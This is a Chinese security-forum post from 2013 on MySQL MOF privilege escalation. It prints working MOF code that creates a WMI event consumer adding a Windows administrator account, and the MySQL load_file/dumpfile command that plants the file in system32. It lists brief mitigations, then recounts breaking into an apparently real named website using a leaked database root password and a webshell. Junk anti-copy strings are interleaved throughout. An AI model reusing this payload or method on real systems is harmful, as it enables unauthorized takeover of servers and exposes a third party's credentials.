中国网络渗透测试联盟
标题:
Mysql mof扩展漏洞实例与防范
[打印本页]
作者:
admin
时间:
2013-1-4 19:49
标题:
Mysql mof扩展漏洞实例与防范
Mysql mof扩展漏洞防范方法
4 k' C3 D+ s% q, c7 r2 d5 a2 p, V
/ V2 x3 }4 A, N7 h" U) p
网上公开的一些利用代码:
6 Z; w0 V F$ X+ p4 {, m$ {
9 P1 h$ e/ e2 Q0 ~) H
#pragma namespace(“\\\\.\\root\\subscription”)
l/ j" E6 o* L, c$ X8 v2 z# |
4 c" }8 c$ x" ^+ c
instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
/ c7 [% V7 B6 l1 d: k+ \
5 B1 I$ R: {5 d- ?! O
4 G& O! ~/ f" Y
' g% ]0 m4 G+ E
2 q- R2 u! G8 \/ _
! Z8 H+ q. d! A; S8 v' z0 h
连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
* J4 ]& w4 @+ l4 {2 q! a9 D
从上面代码来看得出解决办法:
9 X0 }0 D" n V5 B0 a/ _
+ K) y' A( O+ d% Y+ ~
1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数
# C* q3 Y* H1 i* q+ h5 t% M2 ^
7 z2 w: e6 i( G# W" b: V
2、禁止使用”WScript.Shel”组件
( z$ s0 X5 u* p( n8 @8 h
4 T `- ^3 ?: r5 c+ u- p
3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER
- l% ]9 d/ A- j6 N. Z
; W3 K1 T9 J& Y* R- F6 v
当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下
0 J# I+ H; ]) ]0 T) x5 ~
+ ?$ D8 v% q. ^6 W: y L7 \
事情是这样发生的 一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权
/ B; j+ I4 Y9 W' m
8 s/ N- U4 Z& b
但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容
3 S' f% C8 U) h
* O9 E. \+ O& X i B4 ]" B! C! b
看懂了后就开始练手吧
9 o6 v# h! Z' K6 @# B
C, e j9 M0 p
http://www.webbmw.com/config/config_ucenter.php
一句话 a
& p! T8 L8 W! b3 y p
0 [3 ]4 {+ e) G2 [; c
$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。
. X& O, Q" D: b, |, `4 }
0 K; X0 ^# Y8 C3 d6 v9 q0 Q$ B
于是直接用菜刀开搞
5 H& _7 k. B! b- D% J
6 K4 H' ?) d% C3 u% G
上马先
. ]) D- Q S; Y/ d7 C2 ?
" o0 w2 i2 e p" _
既然有了那些账号 之类的 于是我们就执行吧…….
- I( Z9 s) j: y8 C4 j6 l
4 l Q5 ?* u' b. x$ z- d4 U- O
小小的说下
0 w, C7 C6 V1 T B* Q' y
8 ?, Y7 W( s2 i2 r7 g Q6 [
在这里第1次执行未成功 原因未知
% ^( e/ c, k2 p2 y
6 w) `( B* G/ Q
我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。
1 H {: ]- B# @4 d5 f+ k, @
) Q* |/ ~4 _ {. a! a0 F1 d
#pragma namespace(“\\\\.\\root\\subscription”)
& v$ d( \& ?. z; e/ w
! R i2 P1 [& N3 c' J$ ^* q# W
instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
/ C0 U9 K% D2 z
9 b+ a) O4 h! p7 W4 G4 d
我是将文件放到C:\WINDOWS\temp\1.mof
, v8 ?/ @+ L( j, _$ z7 T
" E2 B/ q$ n$ n( @
所以我们就改下执行的代码
1 {% \" _) a" Y: @
5 E: _, Z& P4 U/ ]0 ?
select load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
3 d' m" n+ L6 R4 m1 Q7 w
; K% Z. a% h7 e
) k' [' `/ C# ^" L& L% V
; b. N0 B5 `4 E# h- H
但是 你会发现账号还是没有躺在那里。。
6 D' p: ~. M: j" T y
; N: j) {2 n% p; ]
于是我就感觉蛋疼
: W0 R5 |- ]' O A% o+ e f
$ W* {3 z8 U% C4 U
就去一个一个去执行 但是执行到第2个 mysql时就成功了………
0 G- y* }7 F- t/ g- _# {
, W2 s. W. h- ~9 E/ V( t+ O
4 ? W" A1 k- a0 c
' k& x0 Q) q! H3 l( M) Q
但是其他库均不成功…
& I+ ?8 | [6 _. x
# L; t7 N5 H( Y* G- |8 ?* d
我就很费解呀 到底为什么不成功求大牛解答…
) t! T7 ^& a+ q. c* g
8 ?/ s! }) W8 f" e! i
7 d, \3 @3 ]+ H& i% {5 d
% j! G1 r% r+ s ~ Z8 I8 v
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2